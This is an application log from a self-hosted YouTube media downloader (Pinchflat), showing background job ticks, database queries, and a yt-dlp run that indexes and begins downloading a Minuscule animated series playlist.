22:05:18.809 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:48.811 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:00.533 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:06:18.813 [info] {"source":"oban","duration":1381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:48.815 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:00.534 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:07:18.817 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:48.819 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:55.484 [info] {"args":{"id":5},"id":2566,"meta":{},"system_time":1765516075484607571,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:07:55.485 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1313.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:07:55.486 [debug] QUERY OK source="settings" db=0.3ms idle=1314.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:55.488 [debug] QUERY OK source="media_items" db=1.5ms idle=1012.7ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 22:07:55.489 [debug] QUERY OK source="media_items" db=0.3ms idle=6.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 22:07:55.489 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:07:55.491 [debug] QUERY OK source="settings" db=0.2ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:55.491 [debug] QUERY OK source="settings" db=0.2ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:55.492 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 22:07:55.493 [debug] Current batch of media processed. Will check again in 1000ms 22:07:55.493 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:55.493 [debug] QUERY OK source="settings" db=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:55.494 [debug] QUERY OK source="settings" db=0.2ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:55.494 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Miniscule Season 2/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:2160,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a0/9f/a09f9fa8aef5044ad287f9ad0fe3db474550db7652af5180d2a60d0c6682649f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:07:56.494 [debug] Current batch of media processed. Will check again in 1000ms 22:07:57.495 [debug] Current batch of media processed. Will check again in 1000ms 22:07:58.496 [debug] Current batch of media processed. Will check again in 1000ms 22:07:59.497 [debug] Current batch of media processed. Will check again in 1000ms 22:08:00.498 [debug] Current batch of media processed. Will check again in 1000ms 22:08:00.535 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:08:01.499 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #boG5r_pUXfs/youtube video #boG5r_pUXfs [boG5r_pUXfs].NA", "id" => "boG5r_pUXfs", "original_url" => "https://www.youtube.com/watch?v=boG5r_pUXfs", "playlist_index" => 1, "title" => "youtube video #boG5r_pUXfs"} 22:08:01.500 [debug] QUERY OK source="sources" db=0.3ms idle=964.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:01.500 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #pDkGYWpeUPE/youtube video #pDkGYWpeUPE [pDkGYWpeUPE].NA", "id" => "pDkGYWpeUPE", "original_url" => "https://www.youtube.com/watch?v=pDkGYWpeUPE", "playlist_index" => 2, "title" => "youtube video #pDkGYWpeUPE"} 22:08:01.501 [debug] QUERY OK source="sources" db=0.3ms idle=329.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:01.501 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #tP2OKQfYKfo/youtube video #tP2OKQfYKfo [tP2OKQfYKfo].NA", "id" => "tP2OKQfYKfo", "original_url" => "https://www.youtube.com/watch?v=tP2OKQfYKfo", "playlist_index" => 3, "title" => "youtube video #tP2OKQfYKfo"} 22:08:01.502 [debug] QUERY OK source="sources" db=0.3ms idle=330.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:01.502 [debug] Current batch of media processed. Will check again in 1000ms 22:08:02.503 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #tLn8a3TLDZY/youtube video #tLn8a3TLDZY [tLn8a3TLDZY].NA", "id" => "tLn8a3TLDZY", "original_url" => "https://www.youtube.com/watch?v=tLn8a3TLDZY", "playlist_index" => 4, "title" => "youtube video #tLn8a3TLDZY"} 22:08:02.504 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1009.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:02.504 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #gyJPPysg8bI/youtube video #gyJPPysg8bI [gyJPPysg8bI].NA", "id" => "gyJPPysg8bI", "original_url" => "https://www.youtube.com/watch?v=gyJPPysg8bI", "playlist_index" => 5, "title" => "youtube video #gyJPPysg8bI"} 22:08:02.505 [debug] QUERY OK source="sources" db=0.4ms idle=1004.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:02.506 [debug] Current batch of media processed. Will check again in 1000ms 22:08:03.507 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #bal9pZmYCZI/youtube video #bal9pZmYCZI [bal9pZmYCZI].NA", "id" => "bal9pZmYCZI", "original_url" => "https://www.youtube.com/watch?v=bal9pZmYCZI", "playlist_index" => 6, "title" => "youtube video #bal9pZmYCZI"} 22:08:03.508 [debug] QUERY OK source="sources" db=0.3ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:03.508 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #N7cVYa8J-cE/youtube video #N7cVYa8J-cE [N7cVYa8J-cE].NA", "id" => "N7cVYa8J-cE", "original_url" => "https://www.youtube.com/watch?v=N7cVYa8J-cE", "playlist_index" => 7, "title" => "youtube video #N7cVYa8J-cE"} 22:08:03.509 [debug] QUERY OK source="sources" db=0.4ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:03.509 [debug] Current batch of media processed. Will check again in 1000ms 22:08:04.510 [debug] Current batch of media processed. Will check again in 1000ms 22:08:05.511 [debug] Current batch of media processed. Will check again in 1000ms 22:08:06.512 [debug] Current batch of media processed. Will check again in 1000ms 22:08:07.513 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Patatas Fritas | S02E21\n00:03:45 | Top Tabasco | S02E70\n00:07:23 | Away all boarders! | S02E41\n00:11:05 | The Grocery Store Incident | S02E39\n00:14:36 | Turbo speed | S02E58\n00:18:01 | Trapped | S02E64\n00:21:43 | Twelve Angry Snails | S02E66\n00:25:16 | The Hat Of The Medusa | S02E17\n00:29:01 | Homeless | S02E02\n00:32:49 | The Chocolate Chase! | S02E19\n00:36:34 | Mission : BBQ | S02E09\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Patatas #Fritas #wasps #universe #Tabasco #wasp #patrol #ladybug #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2459, "filename" => "/downloads/Miniscule Season 2/2025-12-06 Patatas Fritas 🍟 Minuscule | 55' Compilation/Patatas Fritas 🍟 Minuscule | 55' Compilation [SCmQ8PfbcOQ].mp4", "id" => "SCmQ8PfbcOQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=SCmQ8PfbcOQ", "playlist_index" => 8, "timestamp" => 1765047626, "title" => "Patatas Fritas 🍟 Minuscule | 55' Compilation", "upload_date" => "20251206"} 22:08:07.514 [debug] QUERY OK source="sources" db=0.4ms idle=342.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:07.515 [debug] QUERY OK source="sources" db=0.4ms idle=343.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:07.517 [debug] QUERY OK source="media_items" db=2.0ms idle=344.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-06 19:00:26Z], 5] 22:08:07.562 [debug] QUERY OK source="media_items" db=43.4ms idle=346.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Patatas Fritas | S02E21\n00:03:45 | Top Tabasco | S02E70\n00:07:23 | Away all boarders! | S02E41\n00:11:05 | The Grocery Store Incident | S02E39\n00:14:36 | Turbo speed | S02E58\n00:18:01 | Trapped | S02E64\n00:21:43 | Twelve Angry Snails | S02E66\n00:25:16 | The Hat Of The Medusa | S02E17\n00:29:01 | Homeless | S02E02\n00:32:49 | The Chocolate Chase! | S02E19\n00:36:34 | Mission : BBQ | S02E09\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Patatas #Fritas #wasps #universe #Tabasco #wasp #patrol #ladybug #Minuscule #nature #insects #ladybugs #animatedseries", "Patatas Fritas 🍟 Minuscule | 55' Compilation", "d70e1aa4-850e-4edd-ab21-cb863a849905", "SCmQ8PfbcOQ", 2459, false, 5, "https://www.youtube.com/watch?v=SCmQ8PfbcOQ", 8, "/downloads/Miniscule Season 2/2025-12-06 Patatas Fritas 🍟 Minuscule | 55' Compilation/Patatas Fritas 🍟 Minuscule | 55' Compilation [SCmQ8PfbcOQ].mp4", false, false, false, [], 0, ~U[2025-12-06 19:00:26Z], ~U[2025-12-12 05:08:07Z], ~U[2025-12-12 05:08:07Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Patatas Fritas | S02E21\n00:03:45 | Top Tabasco | S02E70\n00:07:23 | Away all boarders! | S02E41\n00:11:05 | The Grocery Store Incident | S02E39\n00:14:36 | Turbo speed | S02E58\n00:18:01 | Trapped | S02E64\n00:21:43 | Twelve Angry Snails | S02E66\n00:25:16 | The Hat Of The Medusa | S02E17\n00:29:01 | Homeless | S02E02\n00:32:49 | The Chocolate Chase! | S02E19\n00:36:34 | Mission : BBQ | S02E09\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Patatas #Fritas #wasps #universe #Tabasco #wasp #patrol #ladybug #Minuscule #nature #insects #ladybugs #animatedseries", "Patatas Fritas 🍟 Minuscule | 55' Compilation", "SCmQ8PfbcOQ", 2459, false, 5, "https://www.youtube.com/watch?v=SCmQ8PfbcOQ", "/downloads/Miniscule Season 2/2025-12-06 Patatas Fritas 🍟 Minuscule | 55' Compilation/Patatas Fritas 🍟 Minuscule | 55' Compilation [SCmQ8PfbcOQ].mp4", false, ~U[2025-12-06 19:00:26Z]] 22:08:07.563 [debug] QUERY OK source="sources" db=0.4ms idle=56.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:07.563 [debug] QUERY OK source="media_profiles" db=0.2ms idle=48.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:08:07.564 [debug] QUERY OK source="media_items" db=0.4ms idle=48.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102593] 22:08:07.564 [info] Kicking off download for media item #102593 (SCmQ8PfbcOQ) 22:08:07.574 [debug] QUERY OK source="tasks" db=2.9ms idle=8.4ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2616, 102593, ~U[2025-12-12 05:08:07Z], ~U[2025-12-12 05:08:07Z]] 22:08:07.574 [debug] Current batch of media processed. Will check again in 1000ms 22:08:07.578 [info] {"args":{"id":102593},"id":2616,"meta":{},"system_time":1765516087578698421,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:08:07.579 [debug] QUERY OK source="media_items" db=0.2ms idle=14.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102593] 22:08:07.579 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:08:07.580 [debug] QUERY OK source="sources" db=0.3ms idle=14.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:07.580 [debug] QUERY OK source="media_profiles" db=0.3ms idle=9.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:08:07.581 [debug] QUERY OK source="media_items" db=0.4ms idle=6.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102593] 22:08:07.582 [debug] QUERY OK source="media_metadata" 